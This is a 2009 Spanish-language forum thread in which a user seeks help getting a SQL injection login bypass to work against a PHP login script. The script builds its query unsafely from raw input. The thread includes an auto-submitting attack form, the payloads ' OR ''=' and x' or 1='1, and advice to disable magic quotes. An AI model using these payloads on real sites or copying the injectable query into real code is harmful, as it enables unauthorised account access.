SQLi en login...

Iniciado por Banti, 7 Diciembre 2009, 17:34 PM

0 Miembros y 1 Visitante están viendo este tema.

Banti

Tengo un problema yo otra vez....

<?  include("../Connections/conn_ig.php");

echo $usuario = $HTTP_POST_VARS["usuario"];
echo $contrasena = $HTTP_POST_VARS["contrasena"];

$ssql = "SELECT * FROM usuarios WHERE nombre_usuario='$usuario' and clave_usuario='$contrasena'";

$rs = mysql_query($ssql,$cosa);
$row=mysql_fetch_array($rs);

if (mysql_num_rows($rs)!=0){



//usuario y contraseña válidos and tipo='admin'
//defino una sesion y guardo datos
session_start();
session_register("autentificado");
$_SESSION["autentificado"]= "SI"; 
//panel.php tiene el panel de control
header("Location: panel.php");
}

?>

Tengo este codigo que autentifica al usuario que se conecta a la pagina... Que creo que es vulnerable a SQL Injection.

Realizo este codigo:
<body onload="document.forms[0].submit()">
<form action="http://www.pagina.com.ar/conectar.php" method="post">
<input type="text" Name="usuario" Value="admin">
<input type="text" Name="contrasena" Value="' OR ''='">
</form>

Pero no me funciona... Alguien me podria guiar?


WHK

Intenta ponerle valores válidos en ves de nada, por ejemplo de password:
x' or 1='1
tienes la base de datos puesta verdad?
Verifica yambién que no tengas habilitado el magic quotes.

Banti

Cita de: WHK en  7 Diciembre 2009, 19:35 PM
tienes la base de datos puesta verdad?
Sip, una 100% real.

Dario, lei un poco. Pero yo no veo ni una funcion malevola que me evite el SQLi.

Aun no entiendo que coños es magic quotes pero era esa cosita que te cambiba los caracteres "malvados" a uno no muy malvado no?

estuve viendo que cuando pongo el pass me lo recibe como:
x\' or 1=\'1
Es por culpa de las magic quotes?

WHK

Así es, es problemas del magic quotes.

Si quieres practicar debes deshabilitarlo desde el php.ini

Banti